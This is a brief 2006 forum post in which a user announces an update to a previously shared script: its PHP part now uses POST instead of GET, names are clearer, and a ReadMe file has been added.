ConsultingJoe Posted October 29, 2006 Author Share Posted October 29, 2006 (edited) UPDATE TO SCRIPT ON FIRST POSTUpdates:-changed PHP to Post instead of GET for longer strings-changed Names and vars to be understood better.-Added ReadMe.txt file for simple instructions. Edited October 29, 2006 by zerocool60544 Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now